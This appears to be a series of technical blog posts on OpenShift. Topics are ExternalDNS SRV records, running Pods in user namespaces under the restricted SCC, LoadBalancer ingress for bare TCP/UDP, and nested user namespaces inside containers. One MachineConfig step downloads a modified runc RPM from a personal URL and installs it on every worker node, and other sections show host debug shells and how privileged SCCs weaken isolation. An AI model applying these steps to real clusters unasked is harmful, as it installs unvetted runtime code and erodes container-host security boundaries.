First, we have to modify externaldns/test to add NodePort to the list of Service types. Update externaldns-test.yaml:

…
    service:
      serviceType:
        - LoadBalancer
        - NodePort
…

And apply updated configuration:

% oc replace -f externaldns-test.yaml
externaldns.externaldns.olm.openshift.io/test replaced

Now create a new NodePort Service. service-nodeport.yaml:

apiVersion: v1
kind: Service
metadata:
  name: nodeport
  labels:
    app: echo
spec:
  type: NodePort
  selector:
    app: echo
  ports:
  - name: nodeport
    protocol: TCP
    port: 12345

% oc create -f service-nodeport.yaml
service/nodeport created

The ExternalDNS controller log output shows it generating an SRV record for the Service (wrapped for clarity):

…
time="…" level=debug msg="Endpoints generated from service:
default/nodeport:
[ _nodeport._tcp.nodeport.ci-ln-8hkfrzk-72292.origin-ci-int-gce.dev.rhcloud.com 0
    IN SRV  0 50 30632
    nodeport.ci-ln-8hkfrzk-72292.origin-ci-int-gce.dev.rhcloud.com []
  nodeport.ci-ln-8hkfrzk-72292.origin-ci-int-gce.dev.rhcloud.com 0
    IN A  10.0.0.4;10.0.0.5;10.0.128.3;10.0.128.2;10.0.128.4;10.0.0.3 []
]"
…

Unfortunately, the SRV record didn’t actually make it to the Google Cloud DNS zone. I haven’t worked out why, yet. The A record does get created; it’s only the SRV record that is missing. I’ll update this article if/when I work out why the SRV record goes.

Conclusion §

The ExternalDNS system is intended to automatically manage public DNS records for Kubernetes-hosted applications. It can automatically create CNAME records for OpenShift Routes and A/AAAA records for Services, including LoadBalancer services. For applications that use A/AAAA and CNAME records, it works well.

Unfortunately, SRV records are not well supported. Certainly, it does not meet the needs of typical applications that use SRV records. Operators of such applications currently have one of two options: either manage the records manually (do not want), or implement the required automation yourselves (e.g. in the application’s operator program).

The best way forward is to implement better support for SRV records in ExternalDNS itself, so everyone can benefit through shared effort and maintainership vested in the Kubernetes SIG. I shall file a ticket and perhaps restart discussions in the abandoned pull request with a view to getting this critical feature on the ExternalDNS roadmap. The extent of involvement of myself or my team in implementing or driving this feature work will be determined later.

Running Pods in user namespaces without privileged SCCs

2022-02-02T00:00:00+00:00

Running Pods in user namespaces without privileged SCCs

In previous posts I demonstrated how to run workloads in an isolated user namespace on OpenShift. There are still come caveats to doing this. One of these relates to Security Context Constraints (SCCs), a security policy mechanism in OpenShift. In particular, it appeared necessary to admit the Pod via the anyuid SCC, or one with similar high privileges. This meant that although the workload itself runs under unprivileged UIDs, the account that creates the Pod would need privileges to create Pods that run under arbitrary host UIDs. This is not a desirable situation.

I have investigated that matter further, and it turns out that you can run a workload in a user namespace even via the default restricted SCC. But the configuration is not intuitive, and the reasons why it must be configured that way are convoluted. In this post I explain the challenges that arise when running a user namespaced Pod under the restricted SCC, and demonstrate the solution.

This post assumes a basic knowledge of Security Context Constraints. If you are unfamiliar with SCCs, the DevConf.cz 2022 presentation Introduction to Security Context Constraints (slides, video) by Alberto Losada and Mario Vázquez will bring you up to speed.

Cluster configuration §

I am testing on an OpenShift 4.10 (pre-release) cluster. Some changes to worker node configuration are required. The following MachineConfig object defines those changes:

apiVersion: machineconfiguration.openshift.io/v1
kind: MachineConfig
metadata:
  labels:
    machineconfiguration.openshift.io/role: worker
  name: idm-4-10
spec:
  kernelArguments:
    - systemd.unified_cgroup_hierarchy=1
    - cgroup_no_v1="all"
    - psi=1
  config:
    ignition:
      version: 3.1.0
    systemd:
      units:
      - name: "override-runc.service"
        enabled: true
        contents: |
          [Unit]
          Description=Install runc override
          After=network-online.target rpm-ostreed.service
          [Service]
          ExecStart=/bin/sh -c 'rpm -q runc-1.0.3-992.rhaos4.10.el8.x86_64 || rpm-ostree override replace --reboot https://ftweedal.fedorapeople.org/runc-1.0.3-992.rhaos4.10.el8.x86_64.rpm'
          Restart=on-failure
          [Install]
          WantedBy=multi-user.target
    storage:
      files:
      - path: /etc/subuid
        overwrite: true
        contents:
          source: data:text/plain;charset=utf-8;base64,Y29yZToxMDAwMDA6NjU1MzYKY29udGFpbmVyczoyMDAwMDA6MjY4NDM1NDU2Cg==
      - path: /etc/subgid
        overwrite: true
        contents:
          source: data:text/plain;charset=utf-8;base64,Y29yZToxMDAwMDA6NjU1MzYKY29udGFpbmVyczoyMDAwMDA6MjY4NDM1NDU2Cg==
      - path: /etc/crio/crio.conf.d/99-crio-userns.conf
        overwrite: true
        contents:
          source: data:text/plain;charset=utf-8;base64,W2NyaW8ucnVudGltZS53b3JrbG9hZHMub3BlbnNoaWZ0LXVzZXJuc10KYWN0aXZhdGlvbl9hbm5vdGF0aW9uID0gImlvLm9wZW5zaGlmdC51c2VybnMiCmFsbG93ZWRfYW5ub3RhdGlvbnMgPSBbCiAgImlvLmt1YmVybmV0ZXMuY3JpLW8udXNlcm5zLW1vZGUiLAogICJpby5rdWJlcm5ldGVzLmNyaS1vLmNncm91cDItbW91bnQtaGllcmFyY2h5LXJ3IiwKICAiaW8ua3ViZXJuZXRlcy5jcmktby5EZXZpY2VzIgpdCg==

The main parts of this MachineConfig are:

The kernelArguments enable cgroupsv2, which are not strictly required for this demo, but are required for running systemd-based workloads.
The override-runc.service systemd unit installs a custom version of runc that implements the new OCI Runtime Specification cgroup ownership semantics. This should be the default behaviour in future versions of OpenShift, perhaps as soon as OpenShift 4.11.
/etc/subuid and /etc/subgid provide a sub-id mapping range for CRI-O to use when creating Pods with user namespaces.
/etc/crio/crio.conf.d/99-crio-userns.conf defines the io.openshift.userns workload type for CRI-O. It is also not strictly necessary for this demo but is required for systemd-based workloads to run successfully. The default CRI-O configuration in OpenShift 4.10 provides the io.openshift.builder workload type, which is sufficient if your workload does not need to manage cgroups.

Aside from the node configuration changes, I (as cluster admin) also created project and user account to use for the subsequent steps:

% oc new-project test
Now using project "test" on server "https://api.ci-ln-5rkyxfb-72292.origin-ci-int-gce.dev.rhcloud.com:6443".
…

% oc create user test
user.user.openshift.io/test created

% oc adm policy add-role-to-user edit test
clusterrole.rbac.authorization.k8s.io/edit added: "test"

I did not assign any special SCCs to the test user account.

Remember to wait for the Machine Config Operator to finish updating the worker nodes before proceeding with Pod creation. You can use oc wait to await this condition:

% oc wait mcp/worker \
    --for condition=updated --timeout=-1s

Problem demonstration §

The objective is to run a Pod in a user namespace, with that Pod being admitted via the default restricted SCC. We will start with the following Pod definition:

apiVersion: v1
kind: Pod
metadata:
  name: fedora
  annotations:
    io.openshift.userns: "true"
    io.kubernetes.cri-o.userns-mode: "auto:size=65536"
spec:
  containers:
  - name: fedora
    image: registry.fedoraproject.org/fedora:35-x86_64
    command: ["sleep", "3600"]

The io.openshift.userns annotation selects the CRI-O workload profile that we added via the MachineConfig above. This profile enables several other annotations, but does not automatically execute the Pod in a user namespace. For that, you must also supply the io.kubernetes.cri-o.userns-mode annotation. Its argument tells CRI-O to automatically select unique host UID range of size 65536 to map into the container’s user namespace.

I created the Pod as user test:

% oc --as test create -f pod-fedora.yaml
pod/fedora created

Observe that it was admitted via the restricted SCC:

% oc get -o json pod/fedora \
    | jq '.metadata.annotations."openshift.io/scc"'
"restricted"

Unfortunately, the container is not running:

% oc get -o json pod/fedora \
  | jq '.status.containerStatuses[].state'
{
  "waiting": {
    "message": "container create failed: time=\"2022-02-02T05:43:34Z\" level=error msg=\"container_linux.go:380: starting container process caused: setup user: cannot set uid to unmapped user in user namespace\"\n",
    "reason": "CreateContainerError"
  }
}

The core error message is: cannot set uid to unmapped user in user namespace. This arises because, in the absense of a runAsUser specification in the PodSpec, the restricted SCC has defaulted it to a value from the UID range assigned to the project:

% oc get -o json pod/fedora \
  | jq '.spec.containers[].securityContext.runAsUser'
1000650000

The project UID range allocation is recorded in the project and namespace annotations:

% oc get -o json project/test namespace/test \
    | jq '.items[].metadata.annotations."openshift.io/sa.scc.uid-range"'
"1000650000/10000"
"1000650000/10000"

OpenShift allocated to project test a range of 10000 UIDs starting at 1000650000. The error arises because UID 1000650000 is not mapped in the user namespace. The host UID range may be something like 200000–265535, whereas the sandbox’s UID range is 0–65535.

I deleted the Pod and will try something different:

% oc delete pod/fedora
pod "fedora" deleted

Let’s say that we want to run the container process as UID 0 in the Pod’s user namespace, as would be required for a systemd-based workload. Instead of leaving it to the SCC machinery, I’ll set runAsUser: 0 in the PodSpec myself:

apiVersion: v1
kind: Pod
metadata:
  name: fedora
  annotations:
    io.openshift.userns: "true"
    io.kubernetes.cri-o.userns-mode: "auto:size=65536"
spec:
  containers:
  - name: fedora
    image: registry.fedoraproject.org/fedora:35-x86_64
    command: ["sleep", "3600"]
    securityContext:
      runAsUser: 0

This time the test user cannot even create the Pod:

% oc --as test create -f pod-fedora.yaml
Error from server (Forbidden): error when creating "pod-fedora.yaml"…

I’ve trimmed the rather long error message, but the core problem is:

spec.containers[0].securityContext.runAsUser: Invalid value:
0: must be in the ranges: [1000650000, 1000659999]

The restricted SCC only allows runAsUser values that fall in the projects assigned UID range. And this is what we would expect. The problem is that the admission machinery has no awareness of user namespaces. It cannot discern that runAsUser: 0 means that we want to run as UID 0 inside the user namespace, whilst mapped to an unprivileged UID on the host.

The problem is twofold. First, we are unable to control the UID mapping that CRI-O gives us, so that it would coincide with the project’s UID range. Second, the SCC admission checks and defaulting is oblivious to user namespace. runAsUser is interpreted as referring to host UIDs, and the restricted SCC restricts (or defaults) us to values that are not mapped in the Pod’s user namespace.

Solution §

The map-to-root option in the userns-mode annotation provides a solution to this dilemma. It takes whatever value runAsUser is, and ensures that that host UID gets mapped to UID 0 in the Pod user namespace. The updated PodSpec is:

apiVersion: v1
kind: Pod
metadata:
  name: fedora
  annotations:
    io.openshift.userns: "true"
    io.kubernetes.cri-o.userns-mode:
      "auto:size=65536;map-to-root=true"
spec:
  securityContext:
    runAsUser: 1000650000
  containers:
  - name: fedora
    image: registry.fedoraproject.org/fedora:35-x86_64
    command: ["sleep", "3600"]

Now the Pod is able to run:

% oc --as test create -f pod-fedora.yaml
pod/fedora created

% oc get -o json pod/fedora \
  | jq '.spec.nodeName, .status.containerStatuses[].state'
"ci-ln-fizz88k-72292-9phfc-worker-c-7s99v"
{
  "running": {
    "startedAt": "2022-02-02T06:20:49Z"
  }
}

We can observe the UID mapping:

% oc rsh pod/fedora cat /proc/self/uid_map
         1     265536      65535
         0 1000650000          1

This shows that UID 0 in the Pod’s user namespace maps to UID 10000650000 in the parent (host) user namespace. The remaining UIDs 1–65536 in the Pod’s user namespace are mapped contiguously from UID 265536 in the host user namespace.

Objective achieved.

Why `runAsUser` must be specified §

Referring back to the PodSpec, why is it necessary to explicitly specify runAsUser? Doesn’t the SCC admission machinery automatically set the default value? Well… yes, and no. The SCC machinery defaults runAsUser in each container’s securityContext field. But it does not set it in the Pod’s securityContext. And it is the Pod securityContext that CRI-O examines when processing the map-to-root option. If it is unset, CRI-O will not set the mapping up properly and container(s) will fail to run.

The consequence of this is that the user or operator creating the Pod must first examine the Project or Namespace object to learn what its assigned UID range is. Then it must set the spec.securityContext.runAsUser field to the start value of that range. The range assignment will certainly differ from project to project so it cannot be hardcoded. This is a bit annoying: more work for the human operator, or more automation behaviour to implement and maintain.

The simplest solution I can think of is to enhance the SCC processing to also set spec.securityContext.runAsUser if it is unset. Then CRI-O would see the value it needs to see. Alternatively CRI-O could be enhanced to check the container securityContext if the runAsUser is not specified in the Pod securityContext. But to me this seems ill principled because different containers (in the same Pod) could specify different values, and there is no obvious “right” way to resolve the ambiguities.

Using multiple UIDs §

Although I have a nice range of 65536 UIDs mapped in the Pod’s user namespace, I am not able to run processes as any UID other than 0. This is beacuse the restricted SCC forcibly omits CAP_SETUID (among others) from the capability bounding set of the container process. Complex workloads, including any based on systemd, will fail to run properly under such a constraint.

The simplest workaround is to admit the Pod via the anyuid SCC. But that undoes the good outcome achieved in this post!

An intermediate workaround is the create a new SCC that does not forcibly deprive containers of CAP_SETUID. This entails administrative overhead.

It also increases the attack surface. The setuid(2) system call is restricted to UIDs mapped in the UID namespace of the calling process. If the calling process is in an isolated user namespace that maps to unprivileged host UIDs, it is safe (up to kernel bugs) to grant CAP_SETUID to that process. But recall that user namespaces are still opt-in; by default Pods use the host user namespace. An SCC can use MustRunAsRange to restrict the initial container process to running as a user in the project’s assigned UID range. But if that SCC also lets containers use CAP_SETUID, then it doesn’t really provide more protection than anyuid

A more robust solution would be to modify CRI-O to reinstate CAP_SETUID and related capapbilities when the Pod runs in a user namespace. I will raise the topic with the CRI-O maintainers, as solving this problem is important for our use case, and probably other “legacy” workloads too.

Conclusion §

In this post I demonstrated how to run workloads in a user namespace on OpenShift, under the default restricted SCC. The map-to-root option is critical to accomplishing this. There is an unfortunate “rough edge” in that the workload must specifically refer to the UID range assigned to the namespace in which the Pod will live, which means additional work for or complexity in the operator (human or otherwise).

Despite this progress, if you need to run processes under different UIDs in the container(s), the restricted UID won’t work because it deprives the container process of the CAP_SETUID capability. You must go back to admitting the workload via anyuid or a similar SCC, which is a significant erosion of the security boundaries between containers and the host. This issue will be the subject of future investigations.

Posts

2021-11-18T21:05:01+00:00

Bare TCP and UDP ingress on Kubernetes

2021-11-18T00:00:00+00:00

Bare TCP and UDP ingress on Kubernetes

Kubernetes and OpenShift have good solutions for routing HTTP/HTTPS traffic to the right applications. But for ingress of bare TCP (that is, not HTTP(S) or TLS with SNI) or UDP traffic, the situation is more complicated. In this post I demonstrate how to use LoadBalancer Service objects to route bare TCP and UDP traffic to your Kubernetes applications.

Example service §

For testing purposes I wrote a basic echo server. It listens on both TCP and UDP port 12345, and merely upper-cases and returns the data it receives:

import socketserver
import threading

def serve_tcp():
    class Handler(socketserver.StreamRequestHandler):
        def handle(self):
            while True:
                data = self.rfile.readline()
                if not data:
                    break
                self.wfile.write(data.upper())

    with socketserver.TCPServer(('', 12345), Handler) as server:
        server.serve_forever()

def serve_udp():
    class Handler(socketserver.DatagramRequestHandler):
        def handle(self):
            self.wfile.write(self.rfile.read().upper())

    with socketserver.UDPServer(('', 12345), Handler) as server:
        server.serve_forever()

if __name__ == "__main__":
    threading.Thread(target=serve_tcp).start()
    threading.Thread(target=serve_udp).start()

The Containerfile adds this program to the official Fedora 35 container and declares the entry point:

FROM fedora:35-x86_64
COPY echo.py .
CMD [ "python3", "echo.py" ]

I published the container image on Quay.io. The Pod spec references it:

apiVersion: v1
kind: Pod
metadata:
  name: echo
  labels:
    app: echo
spec:
  containers:
  - name: server
    image: quay.io/ftweedal/udpecho:latest

I defined a new project namespace echo and created the Pod:

% oc new-project echo
Now using project "echo" on server
  "https://api.ci-ln-4ixdypb-72292.origin-ci-int-gce.dev.rhcloud.com:6443".

…

% oc create -f pod-echo.yaml
pod/echo created

Create Service object §

My application is not talking HTTP, so I can’t use the normal Ingress or Route facilities to get traffic to my app.

HTTP and HTTPS traffic includes the Host header, which the ingress system can inspect to route requests to a particular Pod. Similarly, TLS with the Server Name (SNI) extension allows TLS traffic to be routed to a particular Pod (the Pod will perform the handshake). Neither approach works for UDP packets or “bare” TCP connections.

Therefore, I define a LoadBalancer Service. The service controller will ask the cloud provider to create a load balancer that routes external traffic into the cluster. For example, on AWS it will (by default) create an ELB (Elastic Load Balancer) instance.

apiVersion: v1
kind: Service
metadata:
  name: echo
spec:
  type: LoadBalancer
  selector:
    app: echo
  ports:
  - name: tcpecho
    protocol: TCP
    port: 12345
  - name: udpecho
    protocol: UDP
    port: 12345

OK, let’s create the Service:

% oc create -f service-echo.yaml 
The Service "echo" is invalid: spec.ports: Invalid value:
[]core.ServicePort{core.ServicePort{Name:"tcpecho", Protocol:"TCP",
AppProtocol:(*string)(nil), Port:12345,
TargetPort:intstr.IntOrString{Type:0, IntVal:12345, StrVal:""},
NodePort:0}, core.ServicePort{Name:"udpecho", Protocol:"UDP",
AppProtocol:(*string)(nil), Port:12345,
TargetPort:intstr.IntOrString{Type:0, IntVal:12345, StrVal:""},
NodePort:0}}: may not contain more than 1 protocol when type is
'LoadBalancer'

Well, that’s unfortunate. Kubernetes does not support LoadBalancer services with mixed protocol. KEP 1435 is in progress to address this. It is a gated “alpha” feature since Kubernetes 1.20. Cloud provider support is currently mixed but work is ongoing.

So for now, I have to create separate Service objects for UDP and TCP ingress. As a consequence, there will be different public IP addresses for TCP and UDP. Whether this is a problem depends on the application. Applications that use SRV records to locate servers can handle this scenario. Kerberos is such an application (modern implementations, at least). Applications that use A or AAAA records directly might have problems.

The other downside is cost. Cloud providers charge money for load balancer instances. The more you use, the more you pay.

Below is the definition of my decomposed Service objects:

apiVersion: v1
kind: Service
metadata:
  name: echo-udp
spec:
  type: LoadBalancer
  selector:
    app: echo
  ports:
  - name: udpecho
    protocol: UDP
    port: 12345
---
apiVersion: v1
kind: Service
metadata:
  name: echo-tcp
spec:
  type: LoadBalancer
  selector:
    app: echo
  ports:
  - name: tcpecho
    protocol: TCP
    port: 12345

Creating the objects now succeeds:

% oc create -f service-echo.yaml 
service/echo-udp created
service/echo-tcp created

To find out the hostname or IP address of the load balancer ingress endpoint, inspect the status field of the Service object:

% oc get -o json service \
    | jq -c '.items[] | (.metadata.name, .status)'
"echo-tcp"
{"loadBalancer":{"ingress":[{"ip":"34.136.55.93"}]}}
"echo-udp"
{"loadBalancer":{"ingress":[{"ip":"34.71.82.205"}]}}

Most cloud providers report an IP address. That includes Google Cloud (GCP) where this cluster was deployed. On the other hand, AWS reports a DNS name. Below is the result of creating my service objects on an cluster hosted on AWS:

% oc get -o json service \
    | jq -c '.items[] | (.metadata.name, .status)'
"echo-tcp"
{"loadBalancer":{"ingress":[{"hostname":"a095e8e1ebb9e4c64ae71e0f3c688ad4-608097611.us-east-2.elb.amazonaws.com"}]}}
"echo-udp"
{"loadBalancer":{}}

ELB successfully created a load balancer for the TCP port. But something is wrong with the UDP service. The events give more information:

% oc get event --field-selector involvedObject.name=echo-udp
LAST SEEN   TYPE      REASON                   OBJECT             MESSAGE
94s         Normal    EnsuringLoadBalancer     service/echo-udp   Ensuring load balancer
94s         Warning   SyncLoadBalancerFailed   service/echo-udp   Error syncing load balancer: failed to ensure load balancer: Protocol UDP not supported by LoadBalancer

Load balancer creation failed with the error:

Error syncing load balancer: failed to ensure load balancer: Protocol UDP not supported by LoadBalancer

The workaround is to add an annotation to request a Network Load Balancer (NLB) instance instead of ELB (the default):

apiVersion: v1
kind: Service
metadata:
  name: echo-udp
  annotations:
    service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
spec:
  …

After adding the annotation, both load balancers are configured:

% oc get -o json service \
    | jq -c '.items[] | (.metadata.name, .status)'
"echo-tcp"
{"loadBalancer":{"ingress":[{"hostname":"a473cf621de6b49dfabb6e933d0fab55-2099420434.us-east-2.elb.amazonaws.com"}]}}
"echo-udp"
{"loadBalancer":{"ingress":[{"hostname":"af7f7ed0f44c9461dbb54a9a4aedca2c-0c5861432365c726.elb.us-east-2.amazonaws.com"}]}}

aws-load-balancer-type is one of several annotations for modifying AWS load balancer configuration. See the AWS Cloud Provider documentation for the full list.

Testing the ingress §

Using the IP address or DNS name from the status field, you can use nc(1) to verify that the server is contactable.

% echo hello | nc 34.136.55.93 12345
HELLO

% nc --udp 34.71.82.205 12345
hello                             -- input
HELLO                             -- response
^D

I was able to talk to my echo server via both TCP and UDP.

If using TLS or DTLS, you could instead use OpenSSL’s s_client(1) to test connectivity.

Use hostname instead of IP address if that is how the cloud provider reports the ingress endpoint.

Reaching the service via DNS §

The cloud provider has set up the load balancer and the ingress IP addresses or hostnames are reported in the status field of the Service object(s). Now you probably wish to set up DNS records so that clients can use an established domain name to find the server.

I can’t go deep into this topic in this post, because I am still exploring this problem space myself. But I can describe some possible solutions at a high level.

One possibility is to teach your application controller to manage the required DNS records. It would monitor the Service objects and reconcile the external DNS configuration with what it sees. The number and kind of records to be created will vary depending on whether the cloud providers reports the ingress points as hostnames or IP addresses:

Ingress endpoint	Resolution method	Records needed
`hostname`	direct	`CNAME`
`hostname`	SRV	`SRV`
`ip`	direct	`A`/`AAAA`
`ip`	SRV	`A`/`AAAA` and `SRV`

Most applications have similar needs, so it would make sense to encapsulate this behaviour in a controller that configures arbitrary external DNS providers. That’s what the Kubernetes ExternalDNS project is all about. Provider stability varies; at time of writing the only stable providers are Google Cloud DNS and AWS Route 53.

Integration with OpenShift is via the ExternalDNS Operator. This is an active area of work and ExternalDNS will hopefully be an officially supported part of OpenShift in a future release.

I haven’t actually played with ExternalDNS yet so can’t say much more about it at this time. Only that it looks like a very useful solution!

Finally, recall the caveats I mentioned earlier about applications that require ingress of both TCP and UDP traffic. KEP 1435, along with cloud provider support, should resolve this issue eventually.

Creating user namespaces inside containers

2021-10-15T00:00:00+00:00

Creating user namespaces inside containers

Over the last year I have experimented with user namespace support in OpenShift. That is, making OpenShift run workloads inside a separate user namespace. We’re trying to drive this feature forward, but some people have reservations. Does having processes running as root inside a user namespace present an increased security risk? What if there are kernel bugs…

If you’re worried about the security of user namespaces, OpenShift or Kubernetes user namespace support doesn’t change the game at all. As I demonstrate in this post, you can create and use user namespaces inside your workloads right now.

Demo §

I tested on OpenShift 4.9.0 in the default configuration. So, no explicit user namespace support. I used a stock Fedora container image with the following Pod spec:

apiVersion: v1
kind: Pod
metadata:
  name: fedora
spec:
  containers:
  - name: fedora
    image: registry.fedoraproject.org/fedora:34-x86_64
    command: ["sleep", "3600"]
    securityContext:
      capabilities:
        drop:
        - CHOWN
        - DAC_OVERRIDE
        - FOWNER
        - FSETID
        - SETPCAP
        - NET_BIND_SERVICE

The Pod will run under the restricted SCC. I explicitly drop a number of default capabilities.

Next I created a project named userns, and new user me.

% oc new-project userns
Now using project "userns" on server "https://api.ci-ln-cih2n32-f76d1.origin-ci-int-gce.dev.openshift.com:6443".

You can add applications to this project with the 'new-app' command. For example, try:

    oc new-app rails-postgresql-example

to build a new example application in Ruby. Or use kubectl to deploy a simple Kubernetes application:

    kubectl create deployment hello-node --image=k8s.gcr.io/serve_hostname

% oc create user me
user.user.openshift.io/me created

% oc adm policy add-role-to-user edit me
clusterrole.rbac.authorization.k8s.io/edit added: "me"

Operating as me I created the pod:

% oc --as me create -f pod-fedora.yaml
pod/fedora created

Soon after, the pod is running. I can see what node it is running on, and its CRI-O container ID:

% oc get -o json pod/fedora \
    | jq '.status.phase,
          .spec.nodeName,
          .status.containerStatuses[0].containerID'
"Running"
"ci-ln-cih2n32-f76d1-sjtwq-worker-a-qr5hr"
"cri-o://d164163951604b7fc9506b3a390ec6a14c76dc6077406fc7b5ffcbf81c406f68"

Next I started a shell in my container. I’ll leave it running for now, and come back to it later:

% oc exec -it pod/fedora /bin/sh
sh-5.1$

In another terminal, I opened a debug shell on the worker node. Then I used crictl to find out the process ID (pid) of the main container process.

% oc debug node/ci-ln-cih2n32-f76d1-sjtwq-worker-a-qr5hr
Starting pod/ci-ln-cih2n32-f76d1-sjtwq-worker-a-qr5hr-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.0.128.2
If you don't see a command prompt, try pressing enter.
sh-4.4# chroot /host
sh-4.4# crictl inspect d1641639 | jq .info.pid
18668

Next I used pgrep to find all the processes that share the same set of namespaces as process 18668. In other words, processes running in the same pod sandbox.

sh-4.4# pgrep --ns 18668 \
    | xargs ps -o user,pid,cmd --sort pid
USER         PID CMD
1000580+   18668 sleep 3600
1000580+   26490 /bin/sh

There are two processes, running under an unpriviled UID. The UID comes from a unique range allocated for the userns project. These two processes are the main container process (sleep), and the shell that I exected a few steps ago. As expected.

Now for the fun part. Back to the shell we opened in pod/fedora. Observe that this shell process has an empty capability set:

sh-5.1$ grep Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000000000000000
CapAmb: 0000000000000000

And yet, using unshare(1) I was able to create a new user namespace. The -r option says to map root in the new user namespace to the user that created the namespace. And that is indeed what happens:

sh-5.1$ unshare -U -r
[root@fedora /]# id
uid=0(root) gid=0(root) groups=0(root),65534(nobody)

I confirmed it via the node debug shell. I ran pgrep again, this time restricting the search to processes in the same pid namespace as process 18668. The --nslist option gives the list of namespaces to match (all namespaces when not specified).

sh-4.4# pgrep --ns 18668 --nslist pid \
    | xargs ps -o user,pid,cmd --sort pid
USER         PID CMD
1000580+   18668 sleep 3600
1000580+   26490 /bin/sh
1000580+   36704 -sh

The new shell has pid 36704. Observe that UID 0 in the container maps to UID 1000580000:

sh-4.4# cat /proc/36704/uid_map
         0 1000580000          1

Discussion §

You can create and use user namespaces inside your containers without any special support from OpenShift or Kubernetes. Therefore, the idea of a OpenShift or Kubernetes feature for running a workload in an isolated user namespace by default does not lead to an increased risk of container escapes or privilege escalation related to processes running as uid 0 in a user namespace.

This is not to gloss over the fact that other parts of a “workloads in user namespaces” feature have to be designed and implemented with care. Particular aspects include pod admission and selection of the unprivileged UIDs to map to. But on the question of the security of the Linux user namespaces feature itself, a first class OpenShift of Kubernetes feature doesn’t introduce any new risk. Whatever risk there is, is there right now.

If some critical security with user namespaces emerges and you need an urgent mitigation, the only option is to alter the container runtime Seccomp policies to block the unshare(2) syscall. This is an advanced topic, involving changes to node configuration. For details, see Configuring seccomp profiles in the official OpenShift documentation.

Demo: namespaced systemd workloads on OpenShift

2021-07-22T00:00:00+00:00

Demo: namespaced systemd workloads on OpenShift

I have spent much of the last year diving deep into OpenShift’s container runtime. The goal: work out how to run systemd-based workloads in user namespaces on OpenShift nodes. The exploration took many twists and turns. But finally, I have achieved the goal.

In this post I recap the journey so far, and demonstrate what I have achieved. Then I will summarise the path(s?) forward from here.

The journey so far §

My previous post gives an overview of the FreeIPA on OpenShift project. In particular, it explains our decision to use a “monolithic” systemd-based container. That implementation approach exposed capability gaps in OpenShift and led to a long running series of investigations. I wrote up the results of these investigations across several blog posts, summarised here:

OpenShift and user namespaces §

I observed that OpenShift (4.6 at the time) did not isolate containers in user namespaces. I noted that KEP-127 proposes user namespace support for Kubernetes (it is still being worked on). CRI-O had also recently added support for user namespaces via annotations.

User namespaces in OpenShift via CRI-O annotations §

I tested CRI-O’s annotation-based user namespace support on OpenShift 4.7 nightlies. I found that the runtime creates a sandbox with a user namespace and the expected UID mappings. I also found that it is necessary to override the net.ipv4.ping_group_range sysctl. Also, the SCC enforcement machinery does not know about user namespaces and therefore the account that creates the container requires the anyuid SCC. These deficiencies still exist today.

User namespace support in OpenShift 4.7 §

I continued my investigation after the release of OpenShift 4.7. With the aforementioned caveats, user namespaces work. I also noted an inconsistent treatment of securityContext: specifying runAsUser in the PodSpec maps the container’s UID 0 to host UID 0—a dangerous configuration.

More recently, I noticed that the userns-mode annotation I was using included map-to-root=true. I now understand that it is this configuration that causes this mapping behaviour. I no longer consider it particularly serious. Ideally the SCC enforcement should learn about user namespaces, and prevent unprivileged users from creating containers that run as root (or other system accounts) on the host.

Multiple users in user namespaces on OpenShift §

I verified that workloads that run processes under a variety of user accounts work as expected in user namespaces. I did not use a systemd-based workload to verify this.

systemd containers on OpenShift with cgroups v2 §

I observed that systemd-based workloads run successfully in OpenShift when executed as UID 0 on the host. Such containers can only be created by accounts granted privileged SCCs (e.g. anyuid). When running the container under other UIDs, systemd can’t run because it does not have write permission on the container’s cgroup directory.

Using `runc` to explore the OCI Runtime Specification §

I investigated how runc (the OCI runtime used in OpenShift) operates, and how it creates cgroups. I identified some potential ways to change the ownership of the container cgroup to the container’s UID 0.

systemd, cgroups and subuid ranges §

I discovered that the systemd transient unit API (which runc uses to create container cgroups) allows specifying a different owner for the new cgroup. Unfortunately, the user must be “known”, in the form of a passwd entity via NSSwitch. A proposal to relax this requirement was provisionally rejected. Other approaches include writing an NSSwitch module to synthesise passwd entities for subuids, or modifying runc to chown(2) the container cgroup after systemd creates it. I decided to experiment with the latter approach.

Modifying `runc` to `chown` the container cgroup §

The main challenge in modifying runc was getting my head around the unfamiliar codebase. The actual operations are straightforward. There are two main aspects.

The first aspect is to compute the appropriate owner UID for the cgroup, and tell it to the cgroup manager object. I described the algorithm in a previous post. The config.HostRootUID() method already implements this computation. I was able to reuse it.

The second aspect is to actually chown(2) the relevant cgroup files and directories. I previously observed systemd’s behaviour when creating units owned by arbitrary users. systemd chowns the container’s cgroup directory, and the cgroup.procs, cgroup.subtree_control and cgroup.threads files within that directory. runc will do the same. The cgroup manager object already knows the path to the container cgroup directory. It changes the owner of the directory and same three files as systemd to the relevant user.

Demo §

Following is a step-by-step demonstration starting with a fresh deployment of OpenShift 4.7.20.

% oc get clusterversion
NAME      VERSION   AVAILABLE   PROGRESSING   SINCE   STATUS
version   4.7.20    True        False         8m52s   Cluster version is 4.7.20

There is a regression in OpenShift 4.8.0 that prevents Pod annotations from being propagated to container OCI configurations. As a consequence, runc does not receive the annotations that trigger the experimental behaviour. I filed a pull request that fixes the issue. The patch was accepted and the fix released in OpenShift 4.8.4.

The latent credential is the cluster admin user. Where relevant, I use the oc --as USER option to execute commands as other users.

% oc whoami
system:admin

Install modified `runc` package §

List the nodes in the cluster:

% oc get node
NAME                                       STATUS   ROLES    AGE   VERSION
ci-ln-jqbnbfk-f76d1-gnkkv-master-0         Ready    master   61m   v1.20.0+01c9f3f
ci-ln-jqbnbfk-f76d1-gnkkv-master-1         Ready    master   61m   v1.20.0+01c9f3f
ci-ln-jqbnbfk-f76d1-gnkkv-master-2         Ready    master   61m   v1.20.0+01c9f3f
ci-ln-jqbnbfk-f76d1-gnkkv-worker-a-vrbnv   Ready    worker   52m   v1.20.0+01c9f3f
ci-ln-jqbnbfk-f76d1-gnkkv-worker-b-dxk6k   Ready    worker   52m   v1.20.0+01c9f3f
ci-ln-jqbnbfk-f76d1-gnkkv-worker-c-db89w   Ready    worker   52m   v1.20.0+01c9f3f

For each worker node, open a node debug shell and use rpm-ostree override replace to install the modified runc (one worker shown):

% oc debug node/ci-ln-jqbnbfk-f76d1-gnkkv-worker-a-vrbnv
Starting pod/ci-ln-jqbnbfk-f76d1-gnkkv-worker-a-vrbnv-debug ...
To use host binaries, run `chroot /host`
Pod IP: 10.0.32.2
